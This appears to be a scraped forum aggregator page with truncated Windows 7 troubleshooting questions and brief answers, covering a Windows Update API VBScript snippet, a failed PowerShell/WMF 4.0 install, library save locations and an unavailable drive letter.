If .msu file of an update not found in wsusscan2.cab file with offline  then i need to go to microsoft update link and fetch that information using online. Any help is greatly appreciated. Following is the code snippet where im trying to get URL for
 Set update = SearchResult.Updates.Item(I)
        Set identity = update.Identity
        Set ImageInformation = update.Image
        Set BundledUpdates = update.BundledUpdates

            For J = 0 To BundledUpdates.Count - 1
                Set b_update = BundledUpdates.item(J)
 ... Read more

Read other answers

Not sure what happened but this was double posted. Please see the other post with this title. Thank you.

Read other answers

Hello everyone. I joined the forum today and hope you can help me out. On my work desktop I am running Windows 7 and I want to upgrade PowerShell version 2.0 to 4.0 as a minimum or 5.0. I've read many articles on fixing Windows PowerShell issues but my case seems to be a little different.

To begin, I have the following prerequisites on my computer:
Windows 7 SP1
.NET 4.5
Here is the list of all .NET versions on my computer:
v2.050727 2.050727.5420 SP2
v3.0 3.0.30729.5420 SP2
v3.5 3.5.30729.5420 SP1
Client 4.6.01055
Full 4.6.01055

The version of PowerShell that I have access to is 2.0. When I try to install Windows Management Framework 4.0 (x64: Windows6.1-KB2819745-x64-MultiPkg.msu) I get the following message: "Update for Windows (KB2819745) is already installed on this computer." but when I look for it in "View installed updates" or "Uninstall or change a program", it doesn't show up. I've done searches for it on my computer and came up empty. Powershell does not show up in my "All Programs" list, Program Files / Program Files (86) or its Common Files, or in the local or roaming user files. The only place I see remnants of it such as the powershell.exe file is within C:\Windows\winsxs\amd64_microsoft-windows-powershell-exe_31bf3856ad364e35_7.3.7601.933_none_3989ef6dcae7e4a9 and a few other folders like it within the winsxs directory. I don't even think the version 2.0 I am a... Read more

Read other answers

OK, I've googled and searched for this as much as I can. I'm a new Windows 7 user. I have a library (Documents) with three folders included. Call them folders A, B, and C. I understand how to set the default save location. Let's say I've set it to Folder A. Now, I want to save a file in *Folder B* by using the convenient Libraries button. Let's further say that Folder B is the location "C:\FolderB". It seems that IF there is a subfolder, say "C:\FolderB\test", I can save it there by clicking Libraries, expanding FolderB, and double clicking on "test". HOWEVER, if C:\FolderB has no subfolders, I can't seem to save there by using Libraries.

That is to say: IF you have a folder in your Library that is not the default save location AND that folder has no subfolders, there's no way to save there by starting from the Libraries button. Is this correct? (If so, it is rather disappointing and seems to undermine the idea of Libraries so I hope I'm missing something...)

A:Saving to a library location that is NOT the default save location

I might be missing your intended idea, but if you name the folder, such as "Test B", then you should be able to save the .ext (if named) to that particular folder by clicking on the "C" drive... wait for it (the drive) to show up, then save.

If you name a .txt file (or another extention) and save it to your desktop, you can also move it to that named folder on "C" drive.

Just curious as to why you want to have different named folders on "C" drive when you can use the Documents folder?

Read other 3 answers

how do i change my network location to its true location

see where my web sites on msn is?

A:change my network location to its true location

is there not a way to change this?

Read other 3 answers

I keep getting the error "Location is not avalable F:\ refers to a location that is unavailable........" in windows 7. Sometimes it shows as "SYSTEM (F) and other times as a picture of a drive with a question mark over it ans F:\. I have done a check disk and the command prompt "gpupdate /force" as suggested on a site but no luck.

I have looked at other solutions but nothing seems to pertain to my specific problem. Any help will be appreciated. I have attached screenshots.

A:Location is not avalable F:\ refers to a location that is unavailable

Hello and welcome freislander mate just download this and it should open up and show all the drives with their letters.
Partition Manager Server, server partition manager and partition magic server for Windows Server 2000/2003/2008. Server Partition software for Windows Server and None-Server partitions < handy tool to keep for later too.

Read other 9 answers